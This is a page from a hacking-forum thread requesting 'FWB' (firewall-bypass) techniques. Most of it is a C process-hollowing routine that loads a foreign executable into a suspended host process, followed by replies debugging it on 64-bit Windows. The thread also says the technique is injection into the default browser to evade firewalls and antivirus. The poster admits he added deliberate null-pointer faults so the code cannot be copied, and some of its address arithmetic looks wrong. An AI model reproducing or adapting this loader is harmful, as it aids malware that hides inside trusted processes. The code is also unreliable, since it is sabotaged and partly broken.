+ Reply to Thread
Page 3 of 4 FirstFirst 1234 LastLast
Results 21 to 30 of 32
Like Tree6Likes

Thread: [REQ] FWB++

  1. #21
    Night's Watch Joefish's Avatar
    Join Date
    Oct 2009
    Location
    Clng(&H1337 Xor &H11AD)
    Posts
    415
    Heres one I coded, as long as both exes are 32bit then injection works fine... even on an x64 platform.
    Ignore the underscores, I'm dynamically calling the functions. Also I added some *(PCHAR)0 shit so cping this aint possible.

    Code:
    void InjectEXE(LPCSTR target, LPVOID pBuf, LPSTR args)
    {
    	IMAGE_DOS_HEADER IDH;
    	IMAGE_NT_HEADERS INH;
    	IMAGE_SECTION_HEADER ISH;
    	STARTUPINFO SI;
    	PROCESS_INFORMATION PI;
    	CONTEXT Ctxt;
    	DWORD Imagebase;
    	PVOID pPE;
    	DWORD i;
    	DWORD OldProtect;
    
    	smemcpy(&IDH, pBuf, sizeof(IMAGE_DOS_HEADER));
    	
    	if (IDH.e_magic == IMAGE_DOS_SIGNATURE)
    	{
    		smemcpy(&INH, (char *)pBuf + IDH.e_lfanew, sizeof(IMAGE_NT_HEADERS));
    		
    		if (INH.Signature == IMAGE_NT_SIGNATURE)
    		{
    			smemset(&SI, *(char*)0, sizeof(STARTUPINFO));
    			smemset(&PI, *(char*)0, sizeof(PROCESS_INFORMATION));
    
    			if (_CreateProcessA(target, args, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
    			{
    				Ctxt.ContextFlags = CONTEXT_FULL;
    				_GetThreadContext(PI.hThread, &Ctxt);
    
    				/* Check if PEB->Imagebase == PE->Imagebase 
    				 * if so then we need to unmap the loaded exe...
    				 * Not too sure if this is the right approach, but at the moment it makes logical sense
    				 */
    				_ReadProcessMemory(PI.hProcess, (LPCVOID)(Ctxt.Ebx + 8), &Imagebase, sizeof(DWORD), NULL);
    				
    				if (Imagebase == INH.OptionalHeader.ImageBase)
    					_NtUnmapViewOfSection(PI.hProcess, (PVOID)Imagebase);
    				
    				if (pPE = _VirtualAllocEx(PI.hProcess, (LPVOID)INH.OptionalHeader.ImageBase, INH.OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE))
    				{
    					if (_WriteProcessMemory(PI.hProcess, (LPVOID)INH.OptionalHeader.ImageBase, pBuf, INH.OptionalHeader.SizeOfHeaders, NULL))
    					{
    						for (i = 0; i < INH.FileHeader.NumberOfSections; i++)
    						{
    							smemcpy(&ISH, (char *)pBuf + IDH.e_lfanew + sizeof(IMAGE_NT_HEADERS) + i * sizeof(IMAGE_SECTION_HEADER), sizeof(IMAGE_SECTION_HEADER));
    
    							if (_WriteProcessMemory(PI.hProcess, (char *)INH.OptionalHeader.ImageBase - ISH.VirtualAddress, (char *)pBuf + ISH.PointerToRawData, ISH.SizeOfRawData, NULL))
    								_VirtualProtectEx(PI.hProcess, (char *)INH.OptionalHeader.ImageBase - ISH.VirtualAddress, ISH.Misc.VirtualSize, CharacteristicsToPageAttributes(ISH.Characteristics), &OldProtect);
    						}
    
    						if (_WriteProcessMemory(PI.hProcess, (char *)Ctxt.Ebx + 8, &INH.OptionalHeader.ImageBase, sizeof(DWORD), NULL))
    						{
    							Ctxt.Eax = INH.OptionalHeader.ImageBase - INH.OptionalHeader.AddressOfEntryPoint;
    							if (_SetThreadContext(PI.hThread, &Ctxt))
    								_ResumeThread(PI.hThread);
    						}
    					}
    				}
    
    				_CloseHandle(&PI.hThread);
    				_CloseHandle(*(char *)(PI.hProcess));
    			}
    		}
    	}
    }
    Is your OS unicode? Just trying to narrow down the possibilities...
    Last edited by Joefish; 28-01-2012 at 10:29. Reason: Adding "dynamic nullp dereference functionality"

    Code to express, not to impress make f*in money lol learn

    http://i46.tinypic.com/kbx853.png

  2. #22
    Senior Member
    Join Date
    Nov 2011
    Posts
    156
    Gonna try that.
    Nope, I'm not using unicode OS.

  3. #23
    Senior Member
    Join Date
    Nov 2011
    Posts
    156
    Well.. it works fine here too.
    I think I'm missing VirtualProtectEx on every section and have to clear structures before I copy them ? I'll try it tomorrow and will reply here, thanks anyway, gonna study on it now.

  4. #24
    Senior Member
    Join Date
    Nov 2011
    Posts
    156
    Joefish
    Seems like it don't work on Win7 x64 and I can't understand what I'm missing.. You're using structures without pointer, I tried to modify the same thing and worked fine.. I hate C.

  5. #25
    Senior Member The Executer's Avatar
    Join Date
    May 2010
    Location
    /system
    Posts
    329
    @joefish:
    its exactly the same.
    try running calc's PE by hollowing a file (sa.exe) i am providing.
    PE for calc (taken from XP)calc.txt)
    check in VM if you want for back doors.

    and do tell me the result (under x64 environment).
    however i checked you code. its doing same thing. and not working on my PC atleast.
    Attached Files Attached Files
    i prefer backseat rather than storming the front.
    sniper's way xD

  6. #26
    Senior Member
    Join Date
    Nov 2011
    Posts
    156
    I can't understand, when I'm running calc on x64 environment, task manager says it is running as 32 bit process (calc.exe*32) and after injecting, access violation occuires (code: 0x00000005). Will try it with debugger.

  7. #27
    Member
    Join Date
    Apr 2011
    Posts
    38
    Quote Originally Posted by Overflowz View Post
    I can't understand, when I'm running calc on x64 environment, task manager says it is running as 32 bit process (calc.exe*32) and after injecting, access violation occuires (code: 0x00000005). Will try it with debugger.
    ImageBase !
    Your .exe that you inject into calc have this ImageBase : 00400000h
    Calc has this Imagebase : 01000000h

    Even if calc is a 32 bit process, you have to care about ImageBase !
    Joefish's source code seems to work with an ImageBase wich is different between the injected and host process.
    Last edited by Tishrom; 25-02-2012 at 17:17.

  8. #28
    Senior Member
    Join Date
    Dec 2010
    Location
    California
    Posts
    291
    You can't inject a binary into a x64 process unless the binary is compiled as x64 (or you are a wizard).

  9. #29
    Senior Member
    Join Date
    Nov 2011
    Posts
    156
    itz me
    PLEASE, read posts below before posting.
    --
    Tishrom
    To be honest, I tried same way but with structure pointers and it still has same problem. Still studying on it at free time.

  10. #30
    Senior Member
    Join Date
    Apr 2011
    Posts
    203
    Yep, the famous so called FWB tehnique is not more,not less than injection into the default browser. But nowadays many AVs are detecting this operation !!

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts

Search Engine Friendly URLs by vBSEO 3.6.0 ©2011, Crawlability, Inc.